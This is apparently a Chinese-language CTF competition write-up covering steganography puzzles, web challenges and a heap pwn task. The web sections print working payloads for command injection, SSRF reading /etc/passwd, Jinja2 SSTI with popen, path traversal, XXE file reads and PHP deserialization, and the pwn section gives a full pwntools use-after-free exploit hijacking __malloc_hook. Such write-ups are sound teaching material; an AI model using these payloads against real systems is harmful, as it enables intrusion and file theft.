# Misc:
# 1、涐贪恋和伱、甾―⑺dé 毎兮毎秒:
题目描述:laosebi,无脑 LSB 隐写,全取最低位的 LSB 隐写,拿到 flag。有大佬直接 zsteg 秒了,在这里提一下
# 2、你说得对,但__
下载下来是一个图片,通过 foremost 分离图片,得到四张图片,每一张都是一个二维码的一部分,拼出来扫一下就行了,完事儿:
# 3、原铁,启动!
好离谱的题,不过题目的提示很明显了,我没发现,我的问题,原铁,再加上题目描述,推测应该是原神和崩铁的通用字体,直接上网站里对照这来,https://genshin.pro-ivan.com/genshinfonttranslator/demo/,最后发现前半部分是原神,后半部分是崩铁的字体:
# 4、盯帧珍珠
题目给了一张 jpg 图片,放到 010 里面发现文件头为 gif 格式的,修改后缀后使用工具分离得到一堆图片,在其中可以发现组成 flag 的部分(我的 010 出了问题,破解无效了,这里就不放照片了),然后是一个 gif 中间嵌套了几张分段的 flag:
1 LitCTF{You_are_really_staring_at_frames!}
# 5、Everywhere We Go
音频隐写,扔 Audacity 里面,频谱图里看到了 flag。
1 flag{Calculate_Step_By_Step}
# Web:
# 1. 百万美元的诱惑:
前面的题不会做,先看看这个。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php error_reporting (0 );$a = $_GET ['a' ];$b = $_GET ['b' ];$c = $_GET ['c' ];if ($a !== $b && md5 ($a ) == md5 ($b )) { if (!is_numeric ($c ) && $c > 2024 ) { echo "好康的" ; } else { die ("干巴爹干巴爹先辈~" ); } } else { die ("开胃小菜))" ); } 开胃小菜))
看起来挺简单的,无脑数组绕过完事儿了:payload 如下
?a[]=1&b[]=2&c[]=2025
获得下一个文件是./dollar.php。访问下:
1 2 3 4 5 6 7 8 9 10 11 12 <?php error_reporting (0 );if (isset ($_GET ['x' ])){ $x = $_GET ['x' ]; if (!preg_match ("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i" , $x )){ system ("cat " .$x .".php" ); } }else { highlight_file (__FILE__ ); } ?>
突然意识到了个问题,这道题有点不一样,flag 所在的文件是 12.php,然后根据 rce 函数,看来是构造 12 这个数字,这就好办了,直接上 payload,payload 参考文章:
:
x=( ( ((~ ( ( ((( ( ((~ ( ( (())))( ( ((~ ( ( (())))( ( ((~ ( ( (())))( ( ((~ ( ( (())))( ( ((~ ( ( (())))( ( ((~ ( ( (())))( ( ((~ ( ( (())))( ( ((~ ( ( (())))( ( ((~ ( ( (())))( ( ((~ ( ( (())))( ( ((~ ( ( (())))( ( ((~ ( ( (())))( ( ((~ ( ( (())))))))
解决了:
1 2 3 4 <?php $flag ="LitCTF{dollar_d0llar_d0ll@r!!!}" ;?>
生成 payload 的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import os.path def mult_times(str, m, n): front_len = m if front_len > len(str): front_len = len(str) front = str[:front_len] result = '' for i in range(n): result = result + front return result # 构造参数 print("提示:$((${_}))=0,$((~$((${_}))))=-1") print("请输入你要构造的数字") n = int(input("构造的数字:")) yuanshi = mult_times('$((~$(())))', 11, n + 1) fushu = mult_times('$((~$(())))', 11, n) print("原始数据:", yuanshi) q = '~$((' p = '))' print('第一次取反结果为:') print(q + yuanshi + p) FSQF = (q + fushu + p) b = '$((~$((' c = '))))' ZX = 'echo' end = (ZX + " " + b + yuanshi + c) FSQF2 = ZX + " " + q + fushu + p print('最后构造正数结果为:') print(end) print('最后构造负数结果为:') print(FSQF2) # 结果写入 current_path = os.getcwd() file_path = os.path.join(current_path, 'RCE.sh') file_test = open(file_path, 'w+', encoding='utf-8') file_test.write(end) file_test.close() current_path = os.getcwd() file_path = os.path.join(current_path, 'RCE2.sh') file_test = open(file_path, 'w+', encoding='utf-8') file_test.write(FSQF2) file_test.close() # 进行判断 print("判断有效!输出正数数字为:") os.system("chmod +x RCE.sh;bash RCE.sh") print("判断有效!输出负数数字为:") os.system("chmod +x RCE.sh;bash RCE2.sh")
# 2、浏览器也能套娃?
提示我们输入一个 URL,猜测一下是 SSRF 漏洞,无脑传一个 http://www.baidu.com ,发现成功了,传下 file:///etc/passwd 发现能行。
1 root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin man:x:13:15:man:/usr/man:/sbin/nologin postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin cyrus:x:85:12::/usr/cyrus:/sbin/nologin vpopmail:x:89:89::/var/vpopmail:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin www-data:x:82:82:Linux User,,,:/home/www-data:/sbin/nologin utmp:x:100:406:utmp:/home/utmp:/bin/false nginx:x:101:101:nginx:/var/lib/nginx:/sbin/nologin
直接读取根目录的 flag 文件,看看有没有,很明显有,payload file:///flag
1 NSSCTF{9088fd46-7dbc-4235-9b88-4f81a53d0c89}
# 3、一个… 池子?
刚开始以为是 SQL 注入,结果抓包不小心看到了这个:
1 2 3 4 5 6 HTTP/1.1 404 NOT FOUNDServer : Werkzeug/3.0.3 Python/3.10.14Date : Wed, 05 Jun 2024 08:52:31 GMTContent-Type : text/html; charset=utf-8Content-Length : 207Connection : close
很显然是个 flask 框架,另外,我们输入什么,它跟着输出来了,推测可能是 ssti 漏洞,直接一把梭,或者一步步来,最终构造的 payload 如下:
1 {{''.__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']("cat+/flag").read()}}
最后拿到 flag:
1 NSSCTF{f9c874a6-9276-470c-b37b-b999b23fee0e}
# 4、高亮主题 (划掉) 背景查看器
再用 hackbar 的时候,点了下 POST 方法,没想到看到了有意思的东西,就是 theme 参数,使用了一个文件,每猜错应该是文件包含漏洞,无脑梭哈一个 POST : theme=…/…/…/…/flag
最后得到 flag。
# 5、exx
看题目应该是 xxe 漏洞,搞文件包含的,直接本地文件包含,基础 xxe,无任何过滤,且本地包含:
1 2 3 4 5 6 7 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "php://filter/resource=/flag" > ]> <user > <username > &xxe; </username > <password > 123456</password > </user >
最后拿到 flag:
1 NSSCTF{0bc65b57-3d0c-43e4-ae32-fcd9276f430b}
# 6、SAS - Serializing Authentication
给了源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class User { public $username ; public $password ; function __construct ($username , $password ) { $this ->username = $username ; $this ->password = $password ; } function isValid ( ) { return $this ->username === 'admin' && $this ->password === 'secure_password' ; } }
大概推测是让 isValid 这个方法为真,那么,这个就简单了,提示挺明显的,有个 base64 解码,那么构造如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class User { public $username ; public $password ; function __construct ($username , $password ) { $this ->username = $username ; $this ->password = $password ; } function isValid ( ) { return $this ->username === 'admin' && $this ->password === 'secure_password' ; } } $a = new User ('admin' ,'secure_password' );echo base64_encode (serialize ($a ));?> Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjE1OiJzZWN1cmVfcGFzc3dvcmQiO30=
flag:
1 flag{deserialization_vulnerability}
# Pwn:
# 1、heap-2.23
先查看架构和保护:
1 2 3 4 5 6 7 root@MSI:/mnt/c/Users/20820/Downloads/pwn# checksec pwn [*] '/mnt/c/Users/20820/Downloads/pwn/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
开启了栈不可执行和栈溢出保护,那么,扔 IDA 里看看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { int v3; unsigned __int64 v4; v4 = __readfsqword(0x28 u); sub_400866(a1, a2, a3); v3 = 0 ; while ( 1 ) { sub_4008B3(); __isoc99_scanf("%d" , &v3); switch ( v3 ) { case 1 : sub_4008FB(); break ; case 2 : sub_400A0B(); break ; case 3 : sub_400AAB(); break ; case 4 : sub_400B55(); break ; case 5 : sub_400C15(); default : puts ("error!" ); break ; } } }
main 函数感觉很眼熟,不管了,找到了个似乎可以利用的函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 void sub_400A0B () { unsigned int v0; unsigned __int64 v1; v1 = __readfsqword(0x28 u); v0 = 0 ; printf ("idx? " ); __isoc99_scanf("%d" , &v0); if ( v0 <= 0xF && *(&ptr + (int )v0) ) free (*(&ptr + (int )v0)); else puts ("no such chunk!" ); }
由于在 free 掉一个 chunk 之后没有对其指针进行置零,所以这里可能产生了 UAF,果然,我太菜了,最简单的 UAF 都看不懂,跟着大佬看看算了,根据大佬们的 wp,似乎是通过泄露__malloc_hook 的地址,然后根据动态链接库文件算偏移,拿到 /bin/sh 等的地址,具体原理之后再看,先了解下这是个啥东西,咋操作的,直接贴一个大佬的 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import *filename = './heap' debug = 0 if debug : io = remote('node2.anna.nssctf.cn' , 28352 ) else : io = process(filename) elf = ELF(filename) context(arch = elf.arch, log_level = 'debug' , os = 'linux' ) def dbg (): gdb.attach(io) def add (index, size ): io.sendlineafter('>>' , '1' ) io.sendlineafter('idx? ' , str (index)) io.sendlineafter('size? ' , str (size)) def delete (index ): io.sendlineafter('>>' , '2' ) io.sendlineafter('idx? ' , str (index)) def show (index ): io.sendlineafter('>>' , '3' ) io.sendlineafter('idx? ' , str (index)) def edit (index, content ): io.sendlineafter('>>' , '4' ) io.sendlineafter('idx? ' , str (index)) io.sendlineafter('content : ' , content) libc = ELF('./libc.so.6' ) add(0 , 0x80 ) add(1 , 0x60 ) delete(0 ) show(0 ) io.recvuntil('content : ' ) __malloc_hook = u64(io.recv(6 ).ljust(8 , b'\0' )) - 0x68 success('__malloc_hook =>> ' + hex (__malloc_hook)) libcbase = __malloc_hook - libc.sym['__malloc_hook' ] onegadget = libcbase + 0xf1247 delete(1 ) edit(1 , p64(__malloc_hook - 0x23 )) add(2 , 0x60 ) add(3 , 0x60 ) edit(3 , b'A' * 0x13 + p64(onegadget)) add(4 , 0x60 ) io.interactive()